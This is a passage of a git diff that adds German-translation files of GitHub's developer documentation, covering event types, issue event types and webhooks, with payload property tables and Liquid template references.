+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.issue_comment_webhook_properties %} {% data reusables.webhooks.issue_comment_properties %}
+
+## IssuesEvent
+
+{% data reusables.webhooks.issues_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.issue_event_api_properties %} {% data reusables.webhooks.issue_properties %}
+
+## MemberEvent
+
+{% data reusables.webhooks.member_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.member_event_api_properties %} {% data reusables.webhooks.member_properties %}
+
+{% ifversion fpt or ghes or ghec %}
+## PublicEvent
+
+{% data reusables.webhooks.public_short_desc %}
+### `payload`-Ereignisobjekt
+
+Dieses Ereignis gibt ein leeres `payload`-Objekt zurück.
+{% endif %}
+## PullRequestEvent
+
+{% data reusables.webhooks.pull_request_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.pull_request_event_api_properties %} {% data reusables.webhooks.pull_request_properties %}
+
+## PullRequestReviewEvent
+
+{% data reusables.webhooks.pull_request_review_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` | `string` | Die durchgeführte Aktion. Kann `created` sein.
+`pull_request` | `object` | Der Pull Request, auf den sich das Review bezieht.
+`review` | `object` |   Das betroffene Review.
+
+## PullRequestReviewCommentEvent
+
+{% data reusables.webhooks.pull_request_review_comment_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.pull_request_review_comment_event_api_properties %} {% data reusables.webhooks.pull_request_review_comment_properties %}
+
+## PullRequestReviewThreadEvent
+
+{% data reusables.webhooks.pull_request_review_thread_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.pull_request_thread_properties %}
+
+## PushEvent
+
+{% data reusables.webhooks.push_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`push_id` | `integer` | Der eindeutige Bezeichner für den Push.
+`size`|`integer` | Die Anzahl von Commits im Push.
+`distinct_size`|`integer` | Die Anzahl von unterschiedlichen Commits im Push.
+`ref`|`string` | Die ganze [`git ref`](/rest/reference/git#refs), die verschoben wurde. Beispiel: `refs/heads/main`.
+`head`|`string` | Der SHA des letzten Commits in `ref` nach dem Push.
+`before`|`string` | Der SHA des letzten Commits in `ref` vor dem Push.
+`commits`|`array` | Ein Array von Commitobjekten, das die gepushten Commits beschreibt. (Das Array umfasst maximal 20 Commits. Bei Bedarf kann die [Commits-API](/rest/reference/repos#commits) verwendet werden, um zusätzliche Commits abzurufen. Dieser Grenzwert wird ausschließlich auf Zeitachsenereignisse und nicht auf Webhook-Übermittlungen angewendet.)
+`commits[][sha]`|`string` | Der SHA des Commits.
+`commits[][message]`|`string` | Die Commitnachricht.
+`commits[][author]`|`object` | Der Git-Autor des Commits.
+`commits[][author][name]`|`string` | Der Name des Git-Autors.
+`commits[][author][email]`|`string` | Die E-Mail-Adresse des Git-Autors.
+`commits[][url]`|`url` | URL, die auf die Commit-API-Ressource verweist.
+`commits[][distinct]`|`boolean` | Gibt an, ob sich dieser Commit von einem zuvor gepushten Commit unterscheidet.
+
+## ReleaseEvent
+
+{% data reusables.webhooks.release_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.release_event_api_properties %} {% data reusables.webhooks.release_properties %}
+
+{% ifversion fpt or ghec %}
+## SponsorshipEvent
+
+{% data reusables.webhooks.sponsorship_short_desc %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.sponsorship_event_api_properties %} {% data reusables.webhooks.sponsorship_properties %} {% endif %}
+
+## WatchEvent
+
+{% data reusables.webhooks.watch_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.watch_properties %}
diff --git a/translations/de-DE/content/developers/webhooks-and-events/events/index.md b/translations/de-DE/content/developers/webhooks-and-events/events/index.md
new file mode 100644
index 0000000000..942dca7cb0
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/events/index.md
@@ -0,0 +1,21 @@
+---
+title: Events
+intro: 'Deine Integrationen können Ereignisse in {% data variables.product.prodname_dotcom %} abonnieren und darauf reagieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Events
+children:
+  - /github-event-types
+  - /issue-event-types
+ms.openlocfilehash: 23c9db510ef4f142271564cb95b45ff7f6c23bf4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102792'
+---
+
diff --git a/translations/de-DE/content/developers/webhooks-and-events/events/issue-event-types.md b/translations/de-DE/content/developers/webhooks-and-events/events/issue-event-types.md
new file mode 100644
index 0000000000..a382c2fbb9
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/events/issue-event-types.md
@@ -0,0 +1,753 @@
+---
+title: Issue event types
+intro: 'For the Issues Events API and Timeline API, learn about each event type, the triggering action on {% data variables.product.prodname_dotcom %}, and each event''s unique properties.'
+redirect_from:
+  - /v3/issues/issue-event-types
+  - /developers/webhooks-and-events/issue-event-types
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Events
+---
+Issue events are triggered by activity in issues and pull requests and are available in the [Issue Events API](/rest/reference/issues#events) and the [Timeline Events API](/rest/reference/issues#timeline). Each event type specifies whether the event is available in the Issue Events or Timeline Events APIs.
+
+GitHub's REST API considers every pull request to be an issue, but not every issue is a pull request. For this reason, the Issue Events and Timeline Events endpoints may return both issues and pull requests in the response. Pull requests have a `pull_request` property in the `issue` object. Because pull requests are issues, issue and pull request numbers do not overlap in a repository. For example, if you open your first issue in a repository, the number will be 1. If you then open a pull request, the number will be 2. Each event type specifies if the event occurs in pull request, issues, or both.
+
+## Issue event object common properties
+
+Issue events all have the same object structure, except events that are only available in the Timeline Events API. Some events also include additional properties that provide more context about the event resources. Refer to the specific event to for details about any properties that differ from this object format.
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## added_to_project
+
+The issue or pull request was added to a project board. {% data reusables.projects.disabled-projects %}
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull request</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.pre-release-program.starfox-preview %}
+{% data reusables.pre-release-program.api-preview-warning %}
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.project-card-properties %}
+
+## assigned
+
+The issue or pull request was assigned to a user.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X**  |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.assignee-properties %}
+
+## automatic_base_change_failed
+
+GitHub unsuccessfully attempted to automatically change the base branch of the pull request.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** |  |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## automatic_base_change_succeeded
+
+GitHub successfully attempted to automatically change the base branch of the pull request.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## base_ref_changed
+
+The base reference branch of the pull request changed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## closed
+
+The issue or pull request was closed. When the `commit_id` is present, it identifies the commit that closed the issue using "closes / fixes" syntax. For more information about the syntax, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword)".
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## commented
+
+A comment was added to the issue or pull request.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.timeline_events_object_properties %}
+
+Name | Type | Description
+-----|------|--------------
+`url` | `string` | The REST API URL to retrieve the issue comment.
+`html_url` | `string` | The HTML URL of the issue comment.
+`issue_url` | `string` | The HTML URL of the issue.
+`id` | `integer` | The unique identifier of the event.
+`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event.
+`user` | `object` | The person who commented on the issue.
+`created_at` | `string` | The timestamp indicating when the comment was added.
+`updated_at` | `string` | The timestamp indicating when the comment was updated or created, if the comment is never updated.
+`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment.
+`body` | `string` | The comment body text.
+`event` | `string` | The event value is `"commented"`.
+`actor` | `object` | The person who generated the event.
+
+## committed
+
+A commit was added to the pull request's `HEAD` branch.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> |  | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.timeline_events_object_properties %}
+
+Name | Type | Description
+-----|------|--------------
+`sha` | `string` | The SHA of the commit in the pull request.
+`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event.
+`url` | `string` | The REST API URL to retrieve the commit.
+`html_url` | `string` | The HTML URL of the commit.
+`author` | `object` | The person who authored the commit.
+`committer` | `object` | The person who committed the commit on behalf of the author.
+`tree` | `object` | The Git tree of the commit.
+`message` | `string` | The commit message.
+`parents` | `array of objects` | A list of parent commits.
+`verification` | `object` | The result of verifying the commit's signature. For more information, see "[Signature verification object](/rest/reference/git#get-a-commit)."
+`event` | `string` | The event value is `"committed"`.
+
+## connected
+
+The issue or pull request was linked to another issue or pull request. For more information, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## convert_to_draft
+
+The pull request was converted to draft mode.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## converted_note_to_issue
+
+The issue was created by converting a note in a project board to an issue. {% data reusables.projects.disabled-projects %}
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.pre-release-program.starfox-preview %}
+{% data reusables.pre-release-program.api-preview-warning %}
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.project-card-properties %}
+
+## converted_to_discussion
+
+The issue was closed and converted to a discussion.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|-----|-----|-----|
+| <ul><li>Issues</li></ul> | **X** | |
+
+### Event Object Properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## cross-referenced
+
+The issue or pull request was referenced from another issue or pull request.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.timeline_events_object_properties %}
+
+Name | Type | Description
+-----|------|--------------
+`actor` | `object` | The person who generated the event.
+`created_at` | `string` | The timestamp indicating when the cross-reference was added.
+`updated_at` | `string` | The timestamp indicating when the cross-reference was updated or created, if the cross-reference is never updated.
+`source` | `object` | The issue or pull request that added a cross-reference.
+`source[type]` | `string` | This value will always be `"issue"` because pull requests are of type issue. Only cross-reference events triggered by issues or pull requests are returned in the Timeline Events API. To determine if the issue that triggered the event is a pull request, you can check if the `source[issue][pull_request]` object exists.
+`source[issue]` | `object` | The `issue` object that added the cross-reference.
+`event` | `string` | The event value is `"cross-referenced"`.
+
+## demilestoned
+
+The issue or pull request was removed from a milestone.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+`milestone` | `object` | The milestone object.
+`milestone[title]` | `string` | The title of the milestone.
+
+## deployed
+
+The pull request was deployed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## deployment_environment_changed
+
+The pull request deployment environment was changed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** |  |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## disconnected
+
+The issue or pull request was unlinked from another issue or pull request. For more information, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## head_ref_deleted
+
+The pull request's `HEAD` branch was deleted.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## head_ref_restored
+
+The pull request's `HEAD` branch was restored to the last known commit.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+## head_ref_force_pushed
+
+The pull request's HEAD branch was force pushed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## labeled
+
+A label was added to the issue or pull request.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.label-properties %}
+
+## locked
+
+The issue or pull request was locked.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided.
+
+## mentioned
+
+The `actor` was `@mentioned` in an issue or pull request body.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## marked_as_duplicate
+
+A user with write permissions marked an issue as a duplicate of another issue, or a pull request as a duplicate of another pull request.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## merged
+
+The pull request was merged. The `commit_id` attribute is the SHA1 of the `HEAD` commit that was merged. The `commit_repository` is always the same as the main repository.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## milestoned
+
+The issue or pull request was added to a milestone.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+`milestone` | `object` | The milestone object.
+`milestone[title]` | `string` | The title of the milestone.
+
+## moved_columns_in_project
+
+The issue or pull request was moved between columns in a project board. {% data reusables.projects.disabled-projects %}
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.pre-release-program.starfox-preview %}
+{% data reusables.pre-release-program.api-preview-warning %}
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.project-card-properties %}
+`previous_column_name` | `string` | The name of the column the issue was moved from.
+
+## pinned
+
+The issue was pinned.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## ready_for_review
+
+A draft pull request was marked as ready for review.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## referenced
+
+The issue was referenced from a commit message. The `commit_id` attribute is the commit SHA1 of where that happened and the commit_repository is where that commit was pushed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## removed_from_project
+
+The issue or pull request was removed from a project board. {% data reusables.projects.disabled-projects %}
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.pre-release-program.starfox-preview %}
+{% data reusables.pre-release-program.api-preview-warning %}
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.project-card-properties %}
+
+## renamed
+
+The issue or pull request title was changed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+`rename` | `object` | The name details.
+`rename[from]` | `string` | The previous name.
+`rename[to]` | `string` | The new name.
+
+## reopened
+
+The issue or pull request was reopened.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## review_dismissed
+
+The pull request review was dismissed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.review-dismissed-properties %}
+
+## review_requested
+
+A pull request review was requested.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.review-request-properties %}
+
+## review_request_removed
+
+A pull request review request was removed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.review-request-properties %}
+
+## reviewed
+
+The pull request was reviewed.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Pull requests</li></ul> |  | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.timeline_events_object_properties %}
+
+Name | Type | Description
+-----|------|--------------
+`id` | `integer` | The unique identifier of the event.
+`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event.
+`user` | `object` | The person who commented on the issue.
+`body` | `string` | The review summary text.
+`commit_id` | `string` | The SHA of the latest commit in the pull request at the time of the review.
+`submitted_at` | `string` | The timestamp indicating when the review was submitted.
+`state` | `string` | The state of the submitted review. Can be one of: `commented`, `changes_requested`, or `approved`.
+`html_url` | `string` | The HTML URL of the review.
+`pull_request_url` | `string` | The REST API URL to retrieve the pull request.
+`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment.
+`_links` | `object` | The `html_url` and `pull_request_url`.
+`event` | `string` | The event value is `"reviewed"`.
+
+## subscribed
+
+Someone subscribed to receive notifications for an issue or pull request.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## transferred
+
+The issue was transferred to another repository.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## unassigned
+
+A user was unassigned from the issue.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.assignee-properties %}
+
+## unlabeled
+
+A label was removed from the issue.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+{% data reusables.issue-events.label-properties %}
+
+## unlocked
+
+The issue was unlocked.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided.
+
+## unmarked_as_duplicate
+
+An issue that a user had previously marked as a duplicate of another issue is no longer considered a duplicate, or a pull request that a user had previously marked as a duplicate of another pull request is no longer considered a duplicate.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## unpinned
+
+The issue was unpinned.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+## unsubscribed
+
+Someone unsubscribed from receiving notifications for an issue or pull request.
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+{% ifversion fpt or ghec %}
+## user_blocked
+
+An organization owner blocked a user from the organization. This was done [through one of the blocked user's comments on the issue](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment).
+
+### Availability
+
+|Issue type | Issue events API | Timeline events API|
+|:----------|:----------------:|:-----------------:|
+| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+
+### Event object properties
+
+{% data reusables.issue-events.issue-event-common-properties %}
+
+{% endif %}
diff --git a/translations/de-DE/content/developers/webhooks-and-events/index.md b/translations/de-DE/content/developers/webhooks-and-events/index.md
new file mode 100644
index 0000000000..9ebb080dd6
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/index.md
@@ -0,0 +1,22 @@
+---
+title: Webhooks und Ereignisse
+intro: 'Du kannst Webhooks einrichten, testen und sichern, damit deine Integrationen Ereignisse auf {% data variables.product.prodname_dotcom %} abonnieren und darauf reagieren können.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Webhooks
+  - Events
+children:
+  - /webhooks
+  - /events
+ms.openlocfilehash: fad83525deaeaccda2a9949d9a634c19f857056b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106463'
+---
+
diff --git a/translations/de-DE/content/developers/webhooks-and-events/webhooks/about-webhooks.md b/translations/de-DE/content/developers/webhooks-and-events/webhooks/about-webhooks.md
new file mode 100644
index 0000000000..3d745f9bbd
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/webhooks/about-webhooks.md
@@ -0,0 +1,42 @@
+---
+title: Informationen zu Webhooks
+intro: 'Hier lernst du die Grundlagen der Funktionsweise von Webhooks kennen, damit du Integrationen erstellen und einrichten kannst.'
+redirect_from:
+  - /webhooks
+  - /developers/webhooks-and-events/about-webhooks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Webhooks
+ms.openlocfilehash: 08b038d5a35c4c692502545e640d04993d169b6a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102788'
+---
+Mit Webhooks kannst du Integrationen erstellen oder einrichten, wie z. B. [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) oder [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), die bestimmte Ereignisse auf GitHub.com abonnieren. Wenn ein solches Ereignis ausgelöst wird, senden wir HTTP POST-Nutzdaten an die für den Webhook konfigurierte URL. Webhooks können verwendet werden, um einen externen Issue-Tracker zu aktualisieren, CI-Builds auszulösen, eine Sicherungsspiegelung zu aktualisieren oder sogar eine Bereitstellung auf deinem Produktionsserver durchzuführen. Nur deine Fantasie setzt die Grenzen.
+
+Webhooks können auf{% ifversion ghes or ghae %} [{% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#global-webhooks/),{% endif %} einer [Organisation][org-hooks], einem bestimmten [Repository][repo-hooks] oder einer {% data variables.product.prodname_github_app %} installiert werden. Nach der Installation wird der Webhook jedes Mal gesendet, wenn ein oder mehrere abonnierte Ereignisse auftreten.
+
+Du kannst bis zu {% ifversion ghes or ghae %}250{% else %}20{% endif %} Webhooks für jedes Ereignis auf jedem Installationsziel {% ifversion ghes or ghae %}({% data variables.product.prodname_ghe_server %}-Instanz, bestimmte Organisation oder bestimmtes Repository erstellen).{% else %}(bestimmte Organisation oder bestimmtes Repository) erstellen.{% endif %}
+
+## Ereignisse
+
+{% data reusables.webhooks.webhooks_intro %}
+
+Jedes Ereignis entspricht einer bestimmten Gruppe von Aktionen, die bei deiner Organisation und bzw. oder dem Repository auftreten können. Wenn du beispielsweise das `issues`-Ereignis abonnierst, erhältst du jedes Mal detaillierte Nutzdaten, wenn ein Issue geöffnet, geschlossen, gekennzeichnet wird usw.
+
+Eine vollständige Liste der verfügbaren Webhook-Ereignisse und ihrer Nutzdaten findest du unter [Webhook-Ereignisse und Nutzdaten](/developers/webhooks-and-events/webhook-events-and-payloads).
+
+## Ping-Ereignis
+
+{% data reusables.webhooks.ping_short_desc %}
+
+Weitere Informationen zu `ping`-Ereigniswebhook-Nutzdaten findest du im [`ping`](/webhooks/event-payloads/#ping)-Ereignis.
+
+[org-hooks]: /rest/reference/orgs#webhooks/
+[repo-hooks]: /rest/reference/repos#webhooks
diff --git a/translations/de-DE/content/developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads.md b/translations/de-DE/content/developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads.md
new file mode 100644
index 0000000000..c38d96b4a0
